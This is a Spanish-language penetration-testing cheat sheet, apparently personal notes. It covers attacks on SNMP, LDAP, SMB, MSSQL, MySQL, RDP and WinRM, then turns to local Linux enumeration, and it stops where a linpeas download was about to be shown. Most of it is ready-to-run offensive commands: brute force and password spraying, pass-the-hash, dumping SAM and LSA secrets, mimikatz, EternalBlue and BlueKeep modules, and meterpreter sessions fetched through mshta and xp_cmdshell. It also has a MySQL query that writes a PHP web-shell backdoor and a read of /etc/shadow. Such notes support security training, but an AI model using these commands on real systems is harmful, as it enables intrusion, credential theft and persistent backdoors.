SNMP significa Simple Network Management Protocol, por sus siglas en inglés. Se trata de un protocolo para la gestión de la transferencia de información en redes, especialmente para uso en LAN, dependiendo de la versión elegida.


A continuación, dejo una forma de auditar este servicio:

# Escaneo por defecto
nmap -sUCV -p 161 <IP>


# Escaneo que intenta encontrar una cadena de comunidad SNMP por fuerza bruta
nmap -sU -p 161 --script snmp-brute <IP>


# Ejecutando todos los scripts de nmap para SNMP
nmap -sU -p 161 --script snmp-* <IP>


# Instalando libreria de MIBs
apt install snmp-mibs-downloader


# Obteniendo información del SNMP, pero no es muy legible, mejor usar nmap
snmpwalk -v 1 -c public <IP>
snmpwals -v 2c -c public <IP>

Aquí puedes encontrar más información:


Puerto 389 - Servicio LDAP

¿Qué es el servicio LDAP?

Servicio LDAP
El Protocolo ligero de acceso a directorios (LDAP) es un protocolo de software abierto y multiplataforma que se utiliza para la autenticación y la comunicación en servicios de directorio. LDAP proporciona el lenguaje que las aplicaciones utilizan para comunicarse entre sí en servicios de directorio, que almacenan cuentas informáticas, usuarios y contraseñas y las comparten con otras entidades en redes. Esto permite a las aplicaciones y usuarios encontrar y verificar la información que necesitan de toda su organización.


A continuación, dejo una forma de auditar este servicio:

# Obteniendo toda la información de LDAP, PERO CUIDADO PORQUE OBTIENE TODA LA INFO
ldapsearch -H ldap://<IP> -x -b "dc=<dominio>,dc=<local>"
Ej: ldapsearch -H ldap://10.10.10.161 -x -b "dc=htb,dc=local"


# Pasos para ver información obtenida de LDAP en una página web
mkdir LDAP_info
cd LDAP_info
ldapsearch -H ldap://<IP> -x -b "dc=<dominio>,dc=<local>"
python3 -m http.server 80
En navegador: localhost:80


# Consultando los contextos de nombres (naming contexts) configurados en el servidor
ldapsearch -x -H ldap://<IP> -s base namingcontexts
Ej: ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts


# Dumpeando toda la data del servicio ldap
ldapdomaindump -u '<dominio>\<usuario>' -p '<contraseña>' <IP>
Ej: ldapdomaindump -u 'dominio.htb\pepito' -p 'passwd123$!' 192.168.1.15


# Obteniendo politica de contraseñas con sesion nula
ldapsearch -h <IP> -x -b "DC=<dominio>,DC=<local>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
Ej: ldapsearch -h 192.168.1.15 -x -b "DC=dominio,DC=htb" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength


# Aplicando enumeración con windapsearch para obtener lista de usuarios del grupo de administradores (--da)
python3 windapsearch.py --dc-ip <IP> -u <usuario>@<dominio> -p <contraseña> --da
Ej: python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da


# Lo mismo de arriba, pero para encontrar usuario privilegiados (-PU)
python3 windapsearch.py --dc-ip <IP> -u <usuario>@<dominio> -p <contraseña> -PU
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU

Aquí puedes encontrar más información:


Puerto 139, 445 - Servicio SMB y Servicio Samba

¿Qué es el servicio SMB?

Servicio SMB
SMB es un protocolo de tejido que usan las tecnologías de proceso del centro de datos definido por software (SDDC), como Espacios de almacenamiento directo y réplica de almacenamiento.


A continuación, dejo una forma de auditar este servicio:


Escaneos con nmap para SMB

# Escaneo por defecto
nmap -sCV -p 445 <IP>


# Escaneo que obtiene los protocolos SMB activos
nmap -p 445 --script smb-protocols <IP>
nmap -p 445 --script smb-protocols --script-args smbusername=<usuario>,smbpassword=<contraseña> <IP>


# Escaneo que obtiene los modos de seguridad del SMB
nmap -p 445 --script smb-security-mode <IP>
nmap -p 445 --script smb-security-mode --script-args smbusername=<usuario>,smbpassword=<contraseña> <IP>


# Escaneo que enumera los archivos compartidos del SMB, a veces necesita como argumentos un usuario y contraseña
nmap -p 445 --script smb-enum-shares <IP>
nmap -p 445 --script smb-enum-shares --script-args smbusername=<usuario>,smbpassword=<contraseña> <IP>


# Escaneo que enumera los archivos compartidos y lista dichos recursos descubiertos (smb-ls)
nmap -p 445 --script smb-enum-shares,smb-ls --script-args smbusername=<usuario>,smbpassword=<contraseña> <IP>


# Escaneo que intenta determinar el sistema operativo, el nombre del ordenador, el dominio, el grupo de trabajo y la hora actual
nmap -p 445 --script smb-os-discovery <IP>


# Escaneo que enumera los usuarios locales activos en el SMB usando como argumentos un usuario y contraseña
nmap -p 445 --script smb-enum-sessions --script-args smbusername=<usuario>,smbpassword=<contraseña> <IP>


# Escaneo que enumera los usuarios del SMB usando como argumentos un usuario y contraseña
nmap -p 445 --script smb-enum-users --script-args smbusername=<usuario>,smbpassword=<contraseña> <IP>


# Escaneo que trata de obtener las estadisticas del SMB y MSRPC, necesita argumentos como un usuario y contraseña
nmap -p 445 --script smb-server-stats --script-args smbusername=<usuario>,smbpassword=<contraseña> <IP>


# Escaneo que enumera los dominios del sistema que tiene el SMB, necesita argumentos como un usuario y contraseña
nmap -p 445 --script smb-enum-domains --script-args smbusername=<usuario>,smbpassword=<contraseña> <IP>


# Escaneo que obtiene una lista de grupos del sistema Windows remoto, así como una lista de usuarios del grupo, necesita como argumentos un usuario y contraseña
nmap -p 445 --script smb-enum-groups --script-args smbusername=<usuario>,smbpassword=<contraseña> <IP>


# Escaneo que recupera la lista de servicios que se ejecutan en el sistema Windows remoto, necesita argumentos como un usuario y contraseña
nmap -p 445 --script smb-enum-services --script-args smbusername=<usuario>,smbpassword=<contraseña> <IP>


# Escaneo que aplica scripts de nmap que sean tipo vulnerables y seguros
nmap --script "vuln and safe" -p 445 <IP>


# Escaneo de los 25 puertos más comunes por UDP que esten abiertos y que muestre su información (quizá encuentres el Samba activo):
nmap -sUV --top-ports 25 --open <IP>


Entrando a Servicio SMB y Enumeración de Archivos Compartidos con smbclient

# Entrando a servicio SMB
smbclient -U <usuario> //<IP>//


# Entrando al servicio SMB como anonimo
smbclient -N //<IP>//


# Comandos utiles
help -> muestra los comandos que podemos usar
ls -> listando los archivos compartidos
get -> para descargar un archivo


# Enumerando archivos compartidos
smbclient -L <IP>


# Enumerando archivos compartidos del SMB como anonimo
smbclient -L \\<IP>\\ -N


# Enumerando archivos compartidos del SMB autenticado
smbclient -L \\<IP>\\ -U <usuario>


Enumeración de Archivos Compartidos con smbmap

# Listando archivos de SMB
smbmap -H <IP>


# Listando archivos usando una sesión nula
smbmap -H <IP> -u none


# Indicando dominio para mejor conexión
smbmap -H <IP> -d dominio
Ej: smbmap -H 192.168.1.15 -d active.htb


# Enumerando todos los recursos compartidos
smbmap -H <IP> -R


# Listando archivos compartidos de un directorio
smbmap -H <IP> -r <directorio>
Ej: smbmap -H 192.168.1.15 -r Replicant
Ej2: smbmap -H 192.168.1.15 -r Replicant/active.htb


# Enumerando archivos compartidos de usuarios
smbmap -H <IP> -u '<usuario>' -p '<contraseña>' -r <directorio de usuario>
Ej: smbmap -H 192.168.1.15 -u 'pepito' -p 'passw0rd!' -r Users/pepito/Desktop


# Descargando un archivo con smbmap
smbmap -H <IP> --download <path del archivo>
Ej: smbmap -H 192.168.1.15 --download Replicant/active.htb/datos.txt


# Cargando un archivo con smbmap
smbmap -H <IP> --upload <path de tu archivo> <path de directorio destino>
Ej: smbmap -H 192.168.1.15 --upload '/root/rev_shell.exe' 'C$\rev_shell.exe'


# Enumerando conexiones del SMB
smbmap -H <IP> -u '<usuario>' -p '<contraseña>' -L


Enumeración de Archivos Compartidos con enum4linux

# Enumerando el sistema para obtener la versión del sistema operativo
enum4linux -o <IP>


# Enumerando los usuarios del sistema windows
enum4linux -U <IP>


# Enumerando los recursos compartidos del SMB
enum4linux -S <IP>


# Enumerando los grupos de usuarios del sistema
enum4linux -G <IP>


# Enumerando los usuarios y grupos del sistema de manera detallada
enum4linux -i <IP>


# Obteniendo politica de contraseñas
enum4linux-ng -P <IP> -oA archivo.json
cat archivo.json


# Conectandose al SO para enumerar los usuarios
enum4linux -r -u '<usuario>' -p '<contraseña>' <IP>


# Enumeración completa que aplica enum4linux, "ataque total"
enum4linux -a -u '<usuario>' -p '<contraseña>' <IP>


# Creando lista de usuarios
enum4linux -U <IP> | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"


Probando Eternal Blue y Usando psexec para Conectarnos Mediante SMB

# Escaneo que identifica si el SMB es vulnerable al EternalBlue
nmap --script smb-vuln-ms17-010 -p 445 <IP>


# Módulo de metasploit para aplicar EternalBlue
exploit/windows/smb/ms17_010_eternalblu


# Módulo de metasploit que usa psexec
exploit/windows/smb/psexec


# Usando psexec.py
psexec.py <usuario>@<IP> cmd.exe


Aplicando Fuerza Bruta a SMB

# Fuerza bruta con hydra
hydra -L <wordlist_usuarios> -P <wordlists_contraseñas> <IP> smb
hydra -l Administrator -P <wordlists_contraseñas> <IP> smb

Ej: -l Administrator -P /usr/share/wordlists/rockyou.txt 192.168.1.15 smb


# Fuerza bruta con crackmapexec
crackmapexec smb <IP> -u <wordlists_usuarios> -p <wordlists_contraseñas>
Ej: crackmapexec smb 192.168.1.15 -u /usr/share/metasploit-framework/data/wordlists/unix_users.txt -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
Ej2: crackmapexec smb 192.168.1.15 -u administrator -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt


Wordlists:
*Usuarios: /usr/share/metasploit-framework/data/wordlists/common_users.txt
*Usuarios2: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
*Usuarios3: /usr/share/seclists/Usernames/top-usernames-shortlist.txt
*Usuarios4: /usr/share/metasploit-framework/data/wordlists/unix_users.txt
*Contraseñas: /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
*Contraseñas2: /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
*Contraseñas3: /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
*Contraseñas4: /usr/share/seclists/Passwords/seasons.txt
*Contraseñas5: /usr/share/seclists/Passwords/months.txt
*Contraseñas6: /usr/share/seclists/Passwords/common_corporate_passwords.lst
*Contraseñas nuclear: /usr/share/wordlists/rockyou.txt


Módulos de Metasploit para SMB

# Módulo para encontrar la versión del SMB
auxiliary/scanner/smb/smb_version


# Módulo para enumerar usuarios
auxiliary/scanner/smb/smb_enumusers


# Módulo para enumerar archivos compartidos
auxiliary/scanner/smb/smb_enumshares


# Módulo para aplicar fuerza bruta y trata de loguearse al SMB
auxiliary/scanner/smb/smb_login


# Identifica las named pipes que son accesibles del SMB
auxiliary/scanner/smb/pipe_auditor


Auditando SMB con crackmapexec

# Obteniendo información del servicio SMB
crackmapexec smb <IP>


# Comprobando si una contraseña es valida
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>'


# Dumpeando LSA secrets
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' --lsa


# Dumpeando SAM hashes
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' --sam


# Ejecutando comandos con crackmapexec
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' -x '<comando>'


# Ejecutando comandos de powershell con crackmapexec
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' -X '<comando_PowerShell>'


# Obteniendo sesión con módulo web_delivery
msfconsole 
search web_delivery
use 1
set LHOST <Tu_IP>
set target 2
set payload windows/meterpreter/reverse_tcp
exploit
copiar y pegar en crackmapexec

crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' -M web_delivery -o URL=<aqui_Va_URL>


# Obteniendo sesión con módulo hta_server
msfconsole
search hta_server
use 0
exploit
Copiar URL

crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' -x 'mshta.exe <pega_aqui_URL>'


# Usando mimikatz a traves de crackmapexec
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' -M mimikatz


# Usando módulo de rdp de crackmapexec para habilitarlo
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' -M rdp -o ACTION=enable


# Obteniendo política de contraseñas con crackmapexec
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' --pass-pol


# Aplicando Password Spraying a lista de usuarios y usando lista de contraseñas
crackmapexec smb <IP> -u <wordlist_usuarios> -p '<wordlist_contraseñas>' --no-bruteforce --continue-on-success


# Aplicando Password Spraying (Aquí aplica un filtro para solo mostrar los logins exitosos, pero CUIDADO porque no siempre es exitoso el filtro)
crackmapexec smb <IP> -u <wordlist_usuarios> -p '<contraseña>' --no-bruteforce | grep +


# Aplicando password spraying para probar hash de admin en una red interna
crackmapexec smb <IP> --local-auth -u '<usuario>' -H '<Hash>'
Ej: crackmapexec smb 172.16.5.0/23 --local-auth -u administrator -H 88ad09182de639ccc6579eb0849751cf

Nota: --local-auth se usa cuando se ataca una cuenta local de un Active Directory o para autenticación de Windows


# Enumeración de usuarios, Ojito con el badPwdCount
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' --users
Ej: crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users


# Enumeración de grupos
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' --groups
Ej: crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups


# Probando si nuestro usuario esta en otras máquina/servidores
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' --loggedon-users
Ej: crackmapexec smb 172.16.5.130 -u forend -p Klmcargo2 --loggedon-users


# Ver los recursos compartidos del SMB
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' --shares
Ej: crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares


# Usando ataque para analizar contenido de recursos compartidos, genera un json que puedes analizar
crackmapexec smb <IP> -u '<usuario>' -p '<contraseña>' -M spider_plus --share 'recurso_a_analizar'
Ej: crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share '/Desktop'

Aquí puedes encontrar más información sobre el servicio SMB:


Puerto 1433 - Servicio MSSQL

¿Qué es el servicio MSSQL?

Servicio MSSQL
Microsoft SQL Server es un sistema de administración de bases de datos relacionales (RDBMS). Las aplicaciones y las herramientas se conectan a una instancia o base de datos de SQL Server y se comunican mediante Transact-SQL (T-SQL).


A continuación, dejo una forma de auditar este servicio:


Escaneos con nmap para MSSQL

# Escaneo por defecto
nmap -sCV -p 1433 <IP>


# Escaneo para ver información del servidor SQL
nmap -p 1433 --script ms-sql-info <IP>


# Escaneo para obtener información del NTLM sobre el servicio SQL
nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 <IP>


# Escaneo que aplica fuerza bruta para encontrar usuarios y contraseñas del servidor SQL, wordlists en Seclists
nmap -p 1433 --script ms-sql-brute --script-args userdb=<wordlists_usuarios>,passdb=<wordlists_contraseñas> <IP>
Ej: nmap -p 14433 --script ms-sql-brute --script-args userdb=/Desktop/user_list.txt,passdb=/usr/share/rockyou.txt 192.168.1.15


# Escaneo para checar si hay usuario con contraseña nula o sesion anonima
nmap -p 1433 --script ms-sql-empty-password <IP>


# Escaneo para aplicar una query que nos muestra información sobre los logins hacia el servidor de BD, el output se guarda en un archivo
nmap -p 1433 --script ms-sql-query --script-args mssql.username=<nombre_usuario>,mssql.password=<contraseña_usuario>,ms-sql-query.query="SELECT * FROM master..syslogins" -oN output.txt <IP>


# Escaneo para dumpear los hashes registrados en el servidor SQL
nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=<nombre_usuario>,mssql.password=<contraseña_usuario> <IP>


# Escaneo para ejecutar comandos de manera remota en MSSQL, prueba con type c:\archivo.txt
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=<nombre_usuario>,mssql.password=<contraseña_usuario>,ms-sql-xp-cmdshell.cmd='<comando_a_usar>' <IP>
Ej: nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=root,mssql.password=passwd123$!,ms-sql-xp-cmdshell.cmd='ifconfig' 192.168.1.15


Módulos de Metasploit para MSSQL

# Módulo que aplica fuerza bruta al login de SQL
auxiliary/scanner/mssql/mssql_login


# Módulo que audita el servidor de SQL, se necesita un usuario y contraseña con privilegios de administrador
auxiliary/admin/mssql/mssql_enum


# Módulo para obtener una lista de todos los logins del servidor SQL
auxiliary/admin/mssql/mssql_enum_sql_logins


# Módulo que ejecuta comandos de Windows mediante la instancia xp_cmdshell
auxiliary/admin/mssql/mssql_exec


# Módulo que aplica fuerza bruta para identificar las cuentas de dominio del servidor SQL, es decir, los usuarios del sistema
auxiliary/admin/mssql/mssql_enum_domain_accounts


# Módulo que aplica fuerza bruta al login de MSSQL
exploit/windows/mssql/mssql_login


Conectandonos a MSSQL y Activando xp_cmdshell

# Conectandonos al MSSQL
impacket-mssqlclient <dominio>/<usuario>:<contraseña>@<IP>


# Activando xp_cmdshell
enable_xp_cmdshell


# Activando xp_cmdshell manualmente
SP_CONFIGURE "show advanced options", 1;
RECONFIGURE;
SP_CONFIGURE "xp_cmdshell", 1;
RECONFIGURE;


Tratando de Suplantar a un Usuario

# Este comando muestra todos los usuarios o roles del servidor que tienen el permiso "IMPERSONATE", que les permite suplantar la identidad de otros usuarios.
select distinct b.name from sys.server_permissions a INNER JOIN sys.server_principals b on a.grantor_principal_id = b.principal_id where a.permission_name = 'IMPERSONATE'


# Muestra el nombre del usuario actual
select system_user 


# Cambia el contexto de ejecución para actuar como si fueras el usuario `sa` (el usuario "System Administrator" en SQL Server, con privilegios de sysadmin).
execute as login = 'sa'


# Cambia el contexto de ejecución para actuar como si fueras el usuario `dbuser`.
execute as login = 'dbuser'
select system_user


# Suplanta al usuario sa siendo dbuser
execute as login = 'sa'
select system_user


# Habilita la xp_cmdshell
enable_xp_cmdshell


# Ejecutando el comando whoami con xp_cmdshell
exec xp_cmdshell "whoami"


# Usano hta_server para obtener sesión de meterpreter
msfconsole -q
use exploit/windows/misc/hta_server
exploit


# Usando mshta.exe para ejecutar exploit hta_server y obtener sesion de meterpreter
exec xp_cmdshell "mshta.exe http://copiar y pregar aquí la URL local del exploit"


# Viendo las sesiones activas
sessions

Aquí puedes encontrar más información:


Puerto 3306 - Servicio MySQL

¿Qué es el servicio MySQL?

Servicio MySQL
MySQL es una de las bases de datos relacionales de software libre más populares del mundo. Debe esta popularidad a su uso generalizado en sitios web de comercio electrónico, redes sociales y aplicaciones, entre los que se incluyen Drupal, Joomla, Magento y WordPress.


A continuación, dejo una forma de auditar este servicio:


Escaneos con nmap para MySQL

# Escaneo por defecto
nmap -sCV -p 3306 <IP>


# Escaneo para identificar que usuarios no tienen contraseña activada para autenticarse
nmap -sV -p 3306 --script=mysql-empty-password <IP>


# Escaneo para obtener información sobre el servidor de BDs
nmap -sV -p 3306 --script=mysql-info <IP>


# Escaneo para encontrar usuarios del servidor de BDs
nmap -sV -p 3306 --script=mysql-users --script-args="mysqluser='<nombre_usuario>',mysqlpass='<contraseña_usuario>'" <IP>


# Escaneo para identificar las BDs almacenadas en el servidor de BDs
nmap -sV -p 3306 --script=mysql-databases --script-args="mysqluser='<nombre_usuario>',mysqlpass='<contraseña_usuario>'" <IP>


# Escaneo para identificar todas las variables almacenadas en el servidor de BDs
nmap -sV -p 3306 --script=mysql-variables --script-args="mysqluser='<nombre_usuario>',mysqlpass='<contraseña_usuario>'" <IP>


# Escaneo para auditar el servidor de BDs
nmap -sV -p 3306 --script=mysql-audit --script-args="mysql-audit.username='<nombre_usuario>',mysql-audit.pass='<contraseña_usuario>', mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'" <IP>


# Escaneo para obtener los hashes almacenados en el servidor de BDs
nmap -sV -p 3306 --script=mysql-dump-hashes --script-args="username='<nombre_usuario>',password='<contraseña_usuario>'" <IP>


# Escaneo que aplica una query que muestre la cantidad de lineas que tiene una tabla de una BD especifica
nmap -sV -p 3306 --script=mysql-query --script-args="query='select count(*) from <nombre_BD>.<nombre_tabla>;',username='<nombre_usuario>',password='<contraseña_usuario>'" <IP>


Entrando a MySQL

# Entrando a MySQL
mysql -u usuario -p contraseña -h <IP>
Ej: mysql -uroot -p 'passwd123!$' -h 192.168.1.15


# Entrando a MySQL localmente
mysql -u '<usuario>' -p '<contraseña>'
Ej: mysql -u 'root' -p 'passwd123!$'


Consultas Dentro de MySQL

# Consulta para ver los comandos que puedes usar
help


# Consulta para ver las bases de datos almacenadas en el servidor
show databases;


# Comando para usar una BD especifica
use <nombre_BD>;


# Consulta para ver las tablas de la BD en uso
show tables;


# Consulta para ver todos los datos almacenados en una tabla
select * from <nombre_tabla>;


# Consulta Para ver archivos del sistema usando MySQL
select load_file ("/etc/shadow");


# Creando una backdoor en MySQL para Linux
SELECT '<?php echo system($_GET["cmd"]); ?>' into DUMPFILE '/var/www/html/webtemp/backdoor.php';


Módulos de Metasploit para MySQL

# Módulo para obtener el esquema del servidor MySQL
auxiliary/scanner/mysql/mysql_schemadump

# Módulo para aplicar fuerza bruta en los directorios del servidor SQL para ver si podemos escribir o verlos
auxiliary/scanner/mysql/mysql_writable_dirs

# Módulo que enumera archivos y directorios usando la función load_file de MySQL
auxiliary/scanner/mysql/mysql_file_enum

# Módulo para obtener los hashes almacenados en la BD
auxiliary/scanner/mysql/mysql_hashdump

# Módulo para aplicar fuerza bruta al login de MySQL
auxiliary/scanner/mysql/mysql_login


Aplicando Fuerza Bruta a MySQL

hydra -L <wordlists_usuarios> -P <wordlists_contraseñas> <IP> mysql
hydra -l root -P <wordlists_contraseñas> <IP> mysql

Ej: hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt 192.168.1.15 mysql

Wordlists:
*Usuarios: /usr/share/metasploit-framework/data/wordlists/common_users.txt
*Usuarios2: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
*Usuarios3: /usr/share/seclists/Usernames/top-usernames-shortlist.txt
*Usuarios4: /usr/share/metasploit-framework/data/wordlists/unix_users.txt
*Contraseñas: /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
*Contraseñas2: /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
*Contraseñas3: /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
*Contraseñas4: /usr/share/seclists/Passwords/seasons.txt
*Contraseñas5: /usr/share/seclists/Passwords/months.txt
*Contraseñas6: /usr/share/seclists/Passwords/common_corporate_passwords.lst
*Contraseñas nuclear: /usr/share/wordlists/rockyou.txt

Aquí puedes encontrar más información sobre MySQL:


Puerto 3389 - Servicio RDP

¿Qué es el servicio RDP?

Servicio RDP
El Protocolo de escritorio remoto (RDP) es un protocolo, o estándar técnico, para usar un ordenador de escritorio a distancia. El software de escritorio remoto puede utilizar varios protocolos diferentes, como RDP, Independent Computing Architecture (ICA) y virtual network computing (VNC), pero el más usado es RDP.


A continuación, dejo una forma de auditar este servicio:


Conectandonos al RPD

# Conectandose al RDP
xfreerdp /u:'<usuario>' /p:'<contraseña>' /v:<IP>:<Puerto>


# Modificando el tamaño de la ventana del xfreerdp
xfreerdp /u:'<usuario>' /p:'<contraseña>' /v:<IP>:<Puerto> /w:1920 /h:1080 /fonts /smart-sizing


# Usando rdesktop
rdesktop -u '<usuario>' -p '<contraseña>' <IP>


# Usando remina
apt install remmina
remmina
# Indicar la IP, contraseña y dominio


Agregando Usuario a RDP, Leyendo Archivo .rdg y Desencriptando Contraseña de RDP con SharpDPAPI

# Creando un nuevo usuario y agregandolo al RDP, en caso de que este abierto
net user nombre_usuario contraseña /add  # Agrega usuario localmente (no a dominio)
net localgroup "Remote Desktop users" nombre_usuario /add
net user nombre_usuario


# Buscar archivo .rdg y RDCMan, esto indica que hay otras máquinas conectadas por RDP


# Leyendo archivo .rdg, tiene las contraseñas encriptadas
cat Production-Server.rdg


# Pasos para desencriptar contraseña para RDP usando SharpDPAPI.exe
# Desencriptando contraseña con SharpDPAPI.exe de un archivo rdg
upload /root/Desktop/tools/SharpDPAPI.exe
shell

# La respuesta nos pide una masterkey, la obtenemos cargando kiwi y usando mimikatz
SharpDPAPI.exe rdg /unprotected
load kiwi

# Obteniendo masterkey
kiwi_cmd sekurlsa::dpapi 

# masterkey esta encriptada, busca el GUID que te dio SharpDPAPI y copialo, ahora busca el sha1(key) y copialo seguido, algo asi:
{GUID}:sha1(key)
shell
SharpDPAPI.exe rdg {GUID}:sha1(key)


Aplicando Fuerza Bruta al RDP

# Aplicando fuerza bruta al RDP (es bueno usar -t e indicar una cantidad minima de hilos, para evitar DoS)
hydra -L <wordlists_usuarios> -P <wordlists_contraseñas> rdp://<IP> -s <Puerto>
hydra -l Administrator -P <wordlists_contraseñas> rdp://<IP> -s <Puerto>

Ej: hydra -L /Desktop/valid_users.txt -P /usr/share/rockyou.txt rdp://192.168.1.15 -s 3389

Wordlists:
*Usuarios: /usr/share/metasploit-framework/data/wordlists/common_users.txt
*Usuarios2: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
*Usuarios3: /usr/share/seclists/Usernames/top-usernames-shortlist.txt
*Usuarios4: /usr/share/metasploit-framework/data/wordlists/unix_users.txt
*Contraseñas: /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
*Contraseñas2: /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt
*Contraseñas3: /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt
*Contraseñas4: /usr/share/seclists/Passwords/seasons.txt
*Contraseñas5: /usr/share/seclists/Passwords/months.txt
*Contraseñas6: /usr/share/seclists/Passwords/common_corporate_passwords.lst
*Contraseñas nuclear: /usr/share/wordlists/rockyou.txt


Módulos de Metasploit

# Módulo que identifica si esta activo el RDP
auxiliary/scanner/rdp/rdp_scanner


# Módulo que prueba si es vulnerable el RDP al ataque BlueKeep
auxiliary/scanner/rdp/cve_2019_0708_bluekeep


# Módulo que prueba el ataque BlueKeep en RDP
exploit/windows/rdp/cve_2019_0708_bluekeep_rce


# Módulo que activa el servicio RDP
post/windows/manage/enable_rdp

Aquí puedes encontrar más información sobre RDP:


Puerto 5985,5986 - Servicio WinRM

¿Qué es el servicio WinRM?

Servicio WinRM
El servicio WinRM es la implementación de la especificación de WS-Management que permite la cooperación entre sistemas operativos y de hardware que proceden de proveedores distintos.


A continuación, dejo una forma de auditar este servicio:

# Conectandonos con evil-winrm
evil-winrm -i <IP> -u '<usuario>' -p '<contraseña>'


# Aplicando Pass-The-Hash en evil-winrm
evil-winrm -i <IP> -u '<usuario>' -H '<Hash>'


# Fuerza bruta con crackmapexec hacia WinRM
crackmapexec winrm <IP> -u </Path_del_wordlists_de_usuario> -p </Path_del_wordlists_de_contraseñas>
Ej: crackmapexec winrm 192.168.1.15 -u /Desktop/users_wordlists.txt -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt


# Fuerza bruta con crackmapexec hacia WinRM usando un usuario
crackmapexec winrm <IP> -u '<usuario>' -p </Path_del_wordlists_de_contraseñas>
Ej: crackmapexec winrm 192.168.1.15 -u 'pepito' -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt


# Usando Metasploit para conectarnos al WinRM
search winrm_script
use winrm_script_exec
set RHOSTS <IP>
set FORCE_VBS true
set USERNAME <usuario>
set PASSWORD <contraseña>
exploit

Aquí puedes encontrar más información sobre WinRM:



Linux


Enumeración de Máquina Linux

A continuación, dejo todos los comandos que he investigado y usado para la enumeración local de una máquina Linux.


Información del Sistema Operativo Linux en Uso

# Version del SO
uname -a


# Versión del kernel
uname -r


# Obteniendo nombre de la máquina
hostname -a


# Mostrando información de la distro
lsb_release -a


# Archivo que contiene información de identificación de OS
cat /etc/os-release


# Viendo parche de seguridad y vulns
cat /proc/version


# Información del hardware
lscpu
cat /proc/cpuinfo


Información del Usuario en Linux

# Usuario actual
whoami


# Grupos a los que pertenece el usuario
id


# Usuarios del sistema
cat /etc/passwd


# Grupos del sistema
cat /etc/group


# Usuarios conectados
who
last


# Permisos sudo del usuario
sudo -l


# Revisando el historial de bash
cat .bash_history


Red y Conexiones en Linux

# Viendo interfaces de red
ip a
ifconfig


# Viendo la IP
hostname -I


# Puertos abiertos y conexiones activas
netstat -tuln
ss -tuln


# Rutas de red y configuración de DNS
ip route
cat /etc/resolv.conf


# Hosts configurados localmente
cat /etc/hosts


Procesos y Servicios en Linux

# Mostrando procesos en ejecución
ps aux


# Servicios activos
systemctl list-units --type=service
service --status-all


# Listando tareas CRON
contrab -l
ls -la /etc/cron*


Archivos y Directorios en Linux

# Obteniendo el path actual
pwd


# Obteniendo archivos con permisos SUID
find / -perm -4000 2>/dev/null


# Otra forma de buscar archivos con permisos SUID
find / -perm -u=s -type f 2>/dev/null


# Tratar de leer binario
strings binario


# Mostrando archivos que cualquier usuario (no solo el propietario o grupo) pueda modificar, excluyendo enlaces simbólicos.
find / -not -type l -perm -o+w


# Buscando permisos de directorios críticos
ls -ld /tmp /var/tmp /dev/shm


# Buscando scripts editables con permisos de ejecución
find / -writable -type f -exec ls -l {} \; 2>/dev/null


# Permisos de binarios de sistema
find / -type f -perm -4000 2>/dev/null


# Revisando los logs del sistema
cat /var/log/syslog
cat /var/log/auth.log


# Revisando los logs del usuario
cat ~/.bash_logout


Binarios en Linux

# Investigando si existe un binario
which nombre_binario
Ej: which find
Ej2: which python


Configuración y Credenciales en Linux

# Llaves SSH
ls -la ~/.ssh/
cat ~/.ssh/authorized_keys


# Archivos de configuración (credenciales)
grep -r "password" /etc/ 2>/dev/null 
grep -r "secret" /etc/ 2>/dev/null


# Generando una contraseña encriptada utilizando el algoritmo de hash MD5 con una salt especificada
openssl passwd -1 -salt abc contraseña


# Copiando llave guardada en ssh target 1
scp sansa@IP1:~/id_rsa ./


Utilizando VIM

# Comandos de vim
i -> tecla i para escribir
tecla esc -> para salir del modo comando
:q -> Para salir
:q! -> Para salir sin guardar cambios
:wq -> para salir y guardar cambios
:wq! -> para salir y guardar cambios de manera forzosa


Utilizando Herramientas Automatizadas para Enumeración en Linux

# Descargando linpeas.sh
